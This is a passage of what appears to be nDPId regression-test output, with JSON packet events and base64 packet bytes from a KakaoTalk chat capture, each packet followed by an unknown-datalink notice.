packet","thread_id":0,"packet_id":1963,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1964,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":211310,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHYAAEAAQBHaLAoYUrwByQGuKBxaBgBig1WAbDMffrAgw1Sapdp8tXr6a5YJ5OlrakeVomlBte2SAkk7vi94nxNGiycakDbA94EMjanjN\/HhKXpP0Wb8rme+mZiZ7kXEb4OLvrGu5rbjVaflDug5iFeLJR0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1964,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00528{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1965,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":216407,"pkt_caplen":163,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJMAAEAAPxHbDwoYUrwByQGuLDhaBAB\/S6mAbFCZi0C\/GguGVRmAon3+m1PYOiS\/XuzDTXs9NPU4gy9IXPlUgLFySQMWbX05i3V8KiOy++ENNcLQ1EbqG3iSlsBzMYMYBDHeb8\/Z7xTu3TucKj8clf6rWBoNAQAPOMpysHNimSOUu82LcSa7CJE9RNoPnm3mdA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1965,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00580{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1966,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":279486,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALwAAEAAHBH9vgHJAa4KGFK8WgYoHACoSvaAbFBti0AaGguGVRlRgrOz53bomywWQCwTifrkSdxdjT5ADYEc4mfaCgkwZfpCVoBJjpOZmG4SyxgO6chAQHJKDRN\/Z9EU\/B+E+B63tuoQduss9QRK9J3SifaOZddKqVRxDSkdf2qEUo\/Hnz0rAmoqhRWV3VKHHMOhtjSB4DUUychU3XwtItSbOApE\/MO1TXPnTKnUsEPARdM9w6+NkjBl"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1966,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1967,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":286475,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHkAAEAAQBHaKQoYUrwByQGuKBxaBgBllJaAbDMgfrAkg1SapdoHkmXge9nOiQ8Pkx9CRkB10Uv7pK\/QvV8fVXtLyIlZj5oDaPMSOCOIyktI9SP\/NlccXqg0OluAAos9DrZiYu8klMPdtQ2vUh6KEqqovZox+Vw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1967,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00551{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1968,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":320136,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKMAAEAAPxHa\/woYUrwByQGuLDhaBACPK9uAbFCai0DC2guGVRmepdbBJGnbyY\/aPzFbpQA\/R0kSWgGWZHmWVVA2VaR1sRy+gUH6+\/5LEXsBon8jRL10eFZD\/Rka5BAg4PFhrMVeoRb+UEJS5yifiSY+0r2H5gvSOW4z+DLcyYKfcMgYoQl\/icJLcs8PZjvIahS9DCESPk\/hd76pQkarOXY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1968,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1969,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":320288,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHYAAEAAPxHbLAoYUrwByQGuLDhaBABi0W+AbFCbi0DGmguGVRkR2\/PPp0xJQwKMegyo96Vsh6GWrpkS33wNTr7RHMESK3MbLh2sp8XczmSuCKvAS1NMxuL5ANwYvtdfi7mlzGWglgJcrNdD5ZtxPqNlbTs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1969,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00602{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1970,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":359351,"pkt_caplen":221,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":221,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM0AAEAAHBH9rQHJAa4KGFK8WgYoHAC5NEmAbFBui0Ad2guGVRlubOa81TzXLJZuC5H36Fqn17HIHtknM\/ndX6P3Br5AqJfMqLO0TLxp2pDpUN6\/0rc+mHyY7JmhcFm5V7U0HZevZV0tVOweud4Ri80pT7Fn2YlHvi5kpG8HDjy18G2WoBEs1qaFThUMYGvuMWUIDr08Aydm4IO5+6PeF4JkqJ9gGlyMmRX9KzG8cMIQ4nAhWTIPURl5wlbeKVFso49BPLYeVuzGVdM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1970,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00523{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1971,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":364020,"pkt_caplen":160,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":160,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJAAAEAAQBHaEgoYUrwByQGuKBxaBgB81meAbDMhfrAoQ1SapdoUgO+pkRLx+nVbtxFgEijaW\/qg8IhPBUKX\/ifFAAKapyZCXA4BCuPr4pgcUQ0i5FWPEMDkdyN9nVSFSJRMHCsENpJJvrJ6z7Uegzd6luTYOIF+MC\/h7kx9jQLR1Ysmz87dGa3eHm8ULA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1971,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00478{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1972,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":392798,"pkt_caplen":128,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":128,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHAAAEAAHBH+CgHJAa4KGFK8WgQsOABcuVuAbDL0fq9\/g1Sapdp3PsZmouFQC4OSPj2qLhL6ukWPzjFQZeC7M7+34UfPEKknhikPvROHrQFyWLdGA47pGJ6SpJ5pbiVngLz8Kjmpt15e\/gKcP8k="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1972,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00530{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1973,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":403907,"pkt_caplen":168,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJgAAEAAQBHaCgoYUrwByQGuKBxaBgCEQd2AbDMifrAsA1SapdoqbCltnMxlTuK3Y4tPerLkyQ0kd5pqCjNCBE7RXnCW0Ucr6rbCaR6VT8fgXI0RwMZU8bRnezSRBdWbC7SAp6757fqszcHAYqXy5MDuu\/xxPedyPq2fcEWJ\/x3I8s1hfSilDbSNKE+dB+JTS19v0plI"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1973,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1974,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":414069,"pkt_caplen":140,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":140,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHwAAEAAPxHbJgoYUrwByQGuLDhaBABon\/+AbFCci0DKWguGVRkWmQbl106LiaK3jHzrB4AlMCYM6sVnXWzP9GotPx7f\/vaLddmefx8+brtIMFa3GZzQ2oxY+jNH0dKNAyfDeUecN1AQ8fuJjThqAgOoPiEcIEaCbKA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1974,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1975,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":418433,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHKxCAbFCdi0DOGguGVRme12SkOl7tf0EfDVDMVLcbzziO7NivSmQV4mAhk0DWqIFCm3kgqokyhyqki667+15\/+eg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1975,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1976,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":449195,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHBH+CAHJAa4KGFK8WgQsOABe6yKAbDL1fq+DQ1SapdqS1+UOnye1oVlg2aJ2GFwBhRrw0x8XCkLbwI91Ir1\/8\/MY8n2wfrZ1NndUcsV9AG1wjufSHKBrDXEoKhr\/h9ALa1ZfQK8hVBxIqQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1976,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1977,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":461249,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHMAAEAAQBHaLwoYUrwByQGuKBxaBgBfTQSAbDMjfrAvw1SapdrxHGicmaOzsBa+TXHfVbfDsVyDxCECtJU2gxhNkQQUwmF8PWCa0LA\/XKiV+BqVFiuBHRhtJ08of9c\/lszG\/qvPJlJ2p6yvZNqBmco="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1977,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00581{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1978,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":487769,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALwAAEAAHBH9vgHJAa4KGFK8WgYoHACoOUCAbFBvi0AhmguGVRnYOR+jJlPvtisjhokJhPiDCUgqcfIIpRbpfiz\/hpTukv1Ka4u5kkYPJGFRElEpjCaOzYH+k96daYERoEIhW0f4mqgNv\/qxdMzmnlDqwJpuPCxVOB5c\/\/CTC76htKTdqfjMazEv6BRGExPi8qfBMxfNAkrkOyN4q2HhMFZoh1\/dVQ1eDiqP92X2JIDgezk+tupfE3VI"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1978,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1979,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":502417,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/RieAbDMkfrAzg1Sapdq8ySlYaYPDvNmBHtZNhatECamllkL2nDa8VCnzHYQI5f8ae1mSWRMziv8s"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1979,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00495{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1980,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":519477,"pkt_caplen":140,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":140,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHwAAEAAPxHbJgoYUrwByQGuLDhaBABogFOAbFCei0DR2guGVRnqHfItN4KGt7DilEWA\/R4yUltxeT2RRAtgHv9jWcolBmVpxCTR\/d7zlXRB7xvaZGe5Pe00ltPJyG+9JJiRAgdouKsY\/fvNl0X4IxQAGsGfhZqnOxk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1980,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00533{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1981,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":559363,"pkt_caplen":163,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJMAAEAAHBH95wHJAa4KGFK8WgYoHAB\/DUOAbFBwi0AlWguGVRkoLDvKjNG0MO65\/l2i2w5KjajTwstx\/9q\/23YKENCSCEhS4Wg\/moWDRjlxe\/niWTBqb3wcJRneS\/vtCFiswaC1JJ8Yu\/ZQc9EA6jPfu57w659ug350rYXw7jTZ0xIvwwVRk\/xYrH+LozaDrw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1981,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1982,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":579352,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/lGuAbDL2fq+HA1SapdrqHx8TrmE2qgUAu7RAxFzxmZgXSwZr1z4UxCkHDMHnoj6LSmiE3wctr4v\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1982,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1983,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":582221,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/k4iAbDMlfrA3Q1SapdqS2T95r5\/Yk3EKT3i2Pyrtrfs\/Ax\/Nfl\/IhADlIvXuROVi3b+0mKo18Iix"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1983,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1984,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":612952,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHoAAEAAPxHbKAoYUrwByQGuLDhaBABmCP6AbFCfi0DVmguGVRmgUzpi5V2rTPllHHpr\/ifFYP2U5iLJAEpbyad95J3kzNkFYoJiIydOpDMt289OAyMhj2GUpF7TzPl7bCmQ5xPdAaxfsMZGhY\/pH+ezLqlmdwAP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1984,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1985,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":618293,"pkt_caplen":118,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGYAAEAAPxHbPAoYUrwByQGuLDhaBABSU3mAbFCgi0DZWguGVRm8ENJw+SgodsCbdOzdnG++a8NWLZHaApssbkQYYii5XJ3X7n3LBQyvBOXtu41AzNokzwg6SL\/uC7Y1xm6ITA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1985,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1986,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":641181,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFYAAEAAQBHaTAoYUrwByQGuKBxaBgBCazOAbDMmfrA7A1SapdrGJp57+SjPZAah2hvTVowN+\/qmBkeh5CcqKUBWkZB1\/m77f\/q2\/N42Y0m+nPbT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1986,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1987,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":648596,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJoAAEAAHBH94AHJAa4KGFK8WgYoHACGdNyAbFBxi0ApGguGVRkF1J8sRjpW5nkp9NqM7QIWvdCXbsfED8xuDWmDWeJcWyi1OkibDDUASYGtu1\/Jfn7P7LcxB+JoM7VhrCFzCRtQDoi0OXhbbMCl5EgchHbgvu\/1VfDEgsqiDQoyUAvI\/FIC9H2EyHt1L79R8lLKGviGjlk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1987,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1988,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":669165,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/Z8mAbDL3fq+Kw1SapdrCnha2h+FO2CjS6Bk++NcRhCegDJWA4flcFyU4B+xgLktd+mx0j2uZRMMz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1988,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1989,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":685279,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/MBmAbDMnfrA+w1Sapdqt4\/lXlbWIK2lImBaVCdqF3gc7QbZV1UIsjOhN34Jxldx29pIlrVLaxfwv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1989,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1990,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":687903,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/1i+AbDL4fq+Og1SapdrAWqvuYDEDLO73IzjeuxumDKhxXwVLc4XqR9YnTiXED4kOy7FjxjwIWmeT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1990,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1991,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":712256,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJsn+AbFChi0DdGguGVRlsSW9cd3Rywr4taHDG2Th14UJ94StqGEW0E9gxVE1Gpx2lwN3JAYjblS4ELJ1s5KbWIU+EpQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1991,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1992,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":717932,"pkt_caplen":119,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":119,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGcAAEAAPxHbOwoYUrwByQGuLDhaBABTOeWAbFCii0Dg2guGVRk4Z8GRh9XrawGDBeviWx8NElMS\/PTgbKkNYTnVkVEnpEdzepL92M71Onn1JqGlufyrBgJbAEn7V5G1dMSkZtY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1992,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00542{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1993,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":759375,"pkt_caplen":177,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":177,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKEAAEAAHBH92QHJAa4KGFK8WgYoHACNdFyAbFByi0As2guGVRmjhTuh9\/IueAPAbaEIxjRAbg1ELXIb+3Y3NTT6ROMejM1tMFhzIN+cv+bmi1EQh+RtwdOiKUU0vjk18Hq5yrXSXX9mtQytUYlBnoCqTEaP4Yuq1IaXGxd5jipzWKI8XkFw1JrCoSvOk\/aCfBBpYeEBitkAkvv+BBF9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1993,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1994,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":763800,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/D8eAbDMofrBCg1SapdoeE1Y7NGo0b+QivnLLLeVK+LJ3NSjTED571sINGSlIBgsvlOcxdiY14vhL"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1994,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00546{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1995,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":799353,"pkt_caplen":180,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKQAAEAAHBH91gHJAa4KGFK8WgYoHACQ19OAbFBzi0AwmguGVRlbJgZNoqDYI3Ak8+SEnZS9ZEy7RkszEDgs0ylsgN22BNcqPHd+VNsGGYCwBycmtUl2aqwmdqim9CJg9annaVyZWGtk06G3LtnMHMIRHJHBZZY\/0RIkrP00UX+4inMpnBM57NajJ5eTpel1zVPAf5EaYgh7CNx8Jn\/C7TKr"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1995,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1996,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":812628,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGinqAbFCji0DkmguGVRmBLX\/KV7YZhBbpSs2fNQ0X2+1fLNIxTrzlQSSnE0dd\/uZ0vEQsWwerYuHOlBbIWhUcVg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 